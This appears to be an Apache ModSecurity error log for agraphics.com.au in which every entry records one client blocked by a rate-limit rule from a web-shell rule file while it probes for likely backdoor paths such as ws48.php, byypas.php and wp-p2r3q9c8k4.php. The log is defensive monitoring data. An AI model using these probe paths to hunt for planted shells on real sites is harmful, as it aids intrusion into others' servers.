[Thu Apr 23 21:27:18.901898 2026] [:error] [pid 42973:tid 43044] [client 20.251.223.35:31373] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jga.php"] [unique_id "aeoeNm6I0QqmmmLTHE0cdwAAAIE"]
[Thu Apr 23 21:27:19.500446 2026] [:error] [pid 42973:tid 43053] [client 20.251.223.35:52730] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/network/edit.php"] [unique_id "aeoeN26I0QqmmmLTHE0ceQAAAIo"]
[Thu Apr 23 21:27:19.732202 2026] [:error] [pid 59700:tid 59706] [client 20.251.223.35:28908] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jga.php"] [unique_id "aeoeN5XyGZJFeAIDWtkqUgAAAUQ"]
[Thu Apr 23 21:27:20.128451 2026] [:error] [pid 46953:tid 46968] [client 20.251.223.35:29469] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws48.php"] [unique_id "aeoeOEnlpdHh-P6wKbo56AAAAkw"]
[Thu Apr 23 21:27:20.825914 2026] [:error] [pid 46953:tid 46972] [client 20.251.223.35:29483] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws48.php"] [unique_id "aeoeOEnlpdHh-P6wKbo56QAAAlA"]
[Thu Apr 23 21:27:21.433509 2026] [:error] [pid 43083:tid 43103] [client 20.251.223.35:29453] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jga.php"] [unique_id "aeoeOTC5hrvNXosL83J5SgAAANI"]
[Thu Apr 23 21:27:21.637084 2026] [:error] [pid 64967:tid 64987] [client 20.251.223.35:50346] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws48.php"] [unique_id "aeoeOYAV4GfOOdX8Qzp2RAAAAZI"]
[Thu Apr 23 21:27:22.255970 2026] [:error] [pid 64998:tid 65010] [client 20.251.223.35:50365] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jga.php"] [unique_id "aeoeOoV5EysYcTLjmwh-ygAAAcg"]
[Thu Apr 23 21:27:22.695031 2026] [:error] [pid 42972:tid 43017] [client 20.251.223.35:5146] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws48.php"] [unique_id "aeoeOsOAb-3sOknsk4c-AgAAAEE"]
[Thu Apr 23 21:27:23.455984 2026] [:error] [pid 42972:tid 43040] [client 20.251.223.35:45313] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-blog-header.php"] [unique_id "aeoeO8OAb-3sOknsk4c-BwAAAFg"]
[Thu Apr 23 21:27:23.513100 2026] [:error] [pid 64998:tid 65021] [client 20.251.223.35:31403] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/8.php"] [unique_id "aeoeO4V5EysYcTLjmwh-0AAAAdM"]
[Thu Apr 23 21:27:24.243069 2026] [:error] [pid 64998:tid 65017] [client 20.251.223.35:55285] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-blog-header.php"] [unique_id "aeoePIV5EysYcTLjmwh-2AAAAc8"]
[Thu Apr 23 21:27:24.868965 2026] [:error] [pid 64998:tid 65019] [client 20.251.223.35:5180] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/8.php"] [unique_id "aeoePIV5EysYcTLjmwh-3gAAAdE"]
[Thu Apr 23 21:27:26.235663 2026] [:error] [pid 65000:tid 65054] [client 20.251.223.35:6113] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-blog-header.php"] [unique_id "aeoePr6vRb9j6psK2ZaL9AAAAhU"]
[Thu Apr 23 21:27:26.517066 2026] [:error] [pid 64998:tid 65003] [client 20.251.223.35:6138] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/8.php"] [unique_id "aeoePoV5EysYcTLjmwh-7AAAAcE"]
[Thu Apr 23 21:27:26.829945 2026] [:error] [pid 64998:tid 65010] [client 20.251.223.35:52731] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-blog-header.php"] [unique_id "aeoePoV5EysYcTLjmwh-8QAAAcg"]
[Thu Apr 23 21:27:27.087774 2026] [:error] [pid 64998:tid 65006] [client 20.251.223.35:31412] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/8.php"] [unique_id "aeoeP4V5EysYcTLjmwh-9AAAAcQ"]
[Thu Apr 23 21:27:27.502040 2026] [:error] [pid 64998:tid 65016] [client 20.251.223.35:28888] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bmi.php"] [unique_id "aeoeP4V5EysYcTLjmwh--QAAAc4"]
[Thu Apr 23 21:27:27.780409 2026] [:error] [pid 42972:tid 43029] [client 20.251.223.35:31419] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dass.php"] [unique_id "aeoeP8OAb-3sOknsk4c-FQAAAE0"]
[Thu Apr 23 21:27:28.092284 2026] [:error] [pid 43083:tid 43104] [client 20.251.223.35:5688] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bmi.php"] [unique_id "aeoeQDC5hrvNXosL83J5TAAAANM"]
[Thu Apr 23 21:27:28.472083 2026] [:error] [pid 64998:tid 65020] [client 20.251.223.35:52734] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dass.php"] [unique_id "aeoeQIV5EysYcTLjmwh_AAAAAdI"]
[Thu Apr 23 21:27:28.993331 2026] [:error] [pid 64998:tid 65003] [client 20.251.223.35:37561] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bmi.php"] [unique_id "aeoeQIV5EysYcTLjmwh_BQAAAcE"]
[Thu Apr 23 21:27:29.700451 2026] [:error] [pid 46953:tid 46960] [client 20.251.223.35:50351] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dass.php"] [unique_id "aeoeQUnlpdHh-P6wKbo58wAAAkQ"]
[Thu Apr 23 21:27:30.024733 2026] [:error] [pid 42971:tid 42986] [client 20.251.223.35:29532] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bmi.php"] [unique_id "aeoeQjEP2_5RswrH8bEr8wAAAAA"]
[Thu Apr 23 21:27:30.692996 2026] [:error] [pid 42972:tid 43039] [client 20.251.223.35:31376] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/byypas.php"] [unique_id "aeoeQsOAb-3sOknsk4c-HAAAAFc"]
[Thu Apr 23 21:27:30.819502 2026] [:error] [pid 42973:tid 43049] [client 20.251.223.35:29514] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dass.php"] [unique_id "aeoeQm6I0QqmmmLTHE0chQAAAIY"]
[Thu Apr 23 21:27:31.241687 2026] [:error] [pid 65000:tid 65042] [client 20.251.223.35:29507] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/byypas.php"] [unique_id "aeoeQ76vRb9j6psK2ZaL_gAAAgk"]
[Thu Apr 23 21:27:31.647128 2026] [:error] [pid 65000:tid 65051] [client 20.251.223.35:38185] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-p2r3q9c8k4.php"] [unique_id "aeoeQ76vRb9j6psK2ZaMAQAAAhI"]
[Thu Apr 23 21:27:31.784056 2026] [:error] [pid 65000:tid 65049] [client 20.251.223.35:52713] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/byypas.php"] [unique_id "aeoeQ76vRb9j6psK2ZaMBAAAAhA"]
[Thu Apr 23 21:27:32.348558 2026] [:error] [pid 42972:tid 43020] [client 20.251.223.35:39931] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-p2r3q9c8k4.php"] [unique_id "aeoeRMOAb-3sOknsk4c-HwAAAEQ"]
[Thu Apr 23 21:27:33.057713 2026] [:error] [pid 59700:tid 59719] [client 20.251.223.35:29523] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/byypas.php"] [unique_id "aeoeRZXyGZJFeAIDWtkqWAAAAVE"]
[Thu Apr 23 21:27:33.181461 2026] [:error] [pid 59700:tid 59709] [client 20.251.223.35:38147] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-p2r3q9c8k4.php"] [unique_id "aeoeRZXyGZJFeAIDWtkqWQAAAUc"]
[Thu Apr 23 21:27:34.568694 2026] [:error] [pid 65000:tid 65037] [client 20.251.223.35:6124] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-p2r3q9c8k4.php"] [unique_id "aeoeRr6vRb9j6psK2ZaMDQAAAgQ"]
[Thu Apr 23 21:27:34.619531 2026] [:error] [pid 65000:tid 65051] [client 20.251.223.35:39898] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/radio.php"] [unique_id "aeoeRr6vRb9j6psK2ZaMDgAAAhI"]
[Thu Apr 23 21:27:35.144028 2026] [:error] [pid 42972:tid 43030] [client 20.251.223.35:5135] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ok.php"] [unique_id "aeoeR8OAb-3sOknsk4c-JQAAAE4"]
[Thu Apr 23 21:27:35.227611 2026] [:error] [pid 59700:tid 59704] [client 20.251.223.35:38157] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/radio.php"] [unique_id "aeoeR5XyGZJFeAIDWtkqWwAAAUI"]
[Thu Apr 23 21:27:35.848251 2026] [:error] [pid 25635:tid 25662] [client 20.251.223.35:39876] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/radio.php"] [unique_id "aeoeR8Rxv6UsgRGKB3I0dwAAARc"]
[Thu Apr 23 21:27:36.019730 2026] [:error] [pid 25635:tid 25661] [client 20.251.223.35:55273] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ok.php"] [unique_id "aeoeSMRxv6UsgRGKB3I0eAAAARY"]
[Thu Apr 23 21:27:36.622988 2026] [:error] [pid 42973:tid 43050] [client 20.251.223.35:55246] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/radio.php"] [unique_id "aeoeSG6I0QqmmmLTHE0coQAAAIc"]
[Thu Apr 23 21:27:36.691494 2026] [:error] [pid 42973:tid 43056] [client 20.251.223.35:29515] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ok.php"] [unique_id "aeoeSG6I0QqmmmLTHE0cowAAAI0"]
[Thu Apr 23 21:27:37.366557 2026] [:error] [pid 46953:tid 46969] [client 20.251.223.35:38158] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ok.php"] [unique_id "aeoeSUnlpdHh-P6wKbo5-AAAAk0"]
[Thu Apr 23 21:27:37.368898 2026] [:error] [pid 65000:tid 65051] [client 20.251.223.35:39899] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-png.php"] [unique_id "aeoeSb6vRb9j6psK2ZaMHAAAAhI"]
[Thu Apr 23 21:27:37.956946 2026] [:error] [pid 64998:tid 65010] [client 20.251.223.35:37513] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/eetu.php"] [unique_id "aeoeSYV5EysYcTLjmwh_MQAAAcg"]
[Thu Apr 23 21:27:38.074927 2026] [:error] [pid 64998:tid 65013] [client 20.251.223.35:39930] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-png.php"] [unique_id "aeoeSoV5EysYcTLjmwh_MwAAAcs"]
[Thu Apr 23 21:27:38.710091 2026] [:error] [pid 46953:tid 46957] [client 20.251.223.35:55265] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/eetu.php"] [unique_id "aeoeSknlpdHh-P6wKbo5-gAAAkE"]
[Thu Apr 23 21:27:38.761610 2026] [:error] [pid 46953:tid 46970] [client 20.251.223.35:31408] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-png.php"] [unique_id "aeoeSknlpdHh-P6wKbo5_AAAAk4"]
[Thu Apr 23 21:27:39.431063 2026] [:error] [pid 42973:tid 43053] [client 20.251.223.35:39917] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-png.php"] [unique_id "aeoeS26I0QqmmmLTHE0csgAAAIo"]
[Thu Apr 23 21:27:39.552828 2026] [:error] [pid 42972:tid 43040] [client 20.251.223.35:5184] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/eetu.php"] [unique_id "aeoeS8OAb-3sOknsk4c-LgAAAFg"]
[Thu Apr 23 21:27:39.978354 2026] [:error] [pid 42972:tid 43023] [client 20.251.223.35:5639] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wen.php"] [unique_id "aeoeS8OAb-3sOknsk4c-MAAAAEc"]
[Thu Apr 23 21:27:40.239733 2026] [:error] [pid 42973:tid 43050] [client 20.251.223.35:6107] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/eetu.php"] [unique_id "aeoeTG6I0QqmmmLTHE0cuAAAAIc"]
[Thu Apr 23 21:27:40.533244 2026] [:error] [pid 46953:tid 46959] [client 20.251.223.35:6100] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wen.php"] [unique_id "aeoeTEnlpdHh-P6wKbo6AQAAAkM"]
[Thu Apr 23 21:27:40.833410 2026] [:error] [pid 43083:tid 43097] [client 20.251.223.35:39887] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws66.php"] [unique_id "aeoeTDC5hrvNXosL83J5YQAAAMw"]
[Thu Apr 23 21:27:41.100534 2026] [:error] [pid 42972:tid 43016] [client 20.251.223.35:55255] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wen.php"] [unique_id "aeoeTcOAb-3sOknsk4c-NQAAAEA"]
[Thu Apr 23 21:27:41.411339 2026] [:error] [pid 42972:tid 43019] [client 20.251.223.35:52682] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws66.php"] [unique_id "aeoeTcOAb-3sOknsk4c-NwAAAEM"]
[Thu Apr 23 21:27:41.762755 2026] [:error] [pid 42972:tid 43039] [client 20.251.223.35:5209] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wen.php"] [unique_id "aeoeTcOAb-3sOknsk4c-PAAAAFc"]
[Thu Apr 23 21:27:41.986596 2026] [:error] [pid 59700:tid 59726] [client 20.251.223.35:5659] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws66.php"] [unique_id "aeoeTZXyGZJFeAIDWtkqXwAAAVg"]
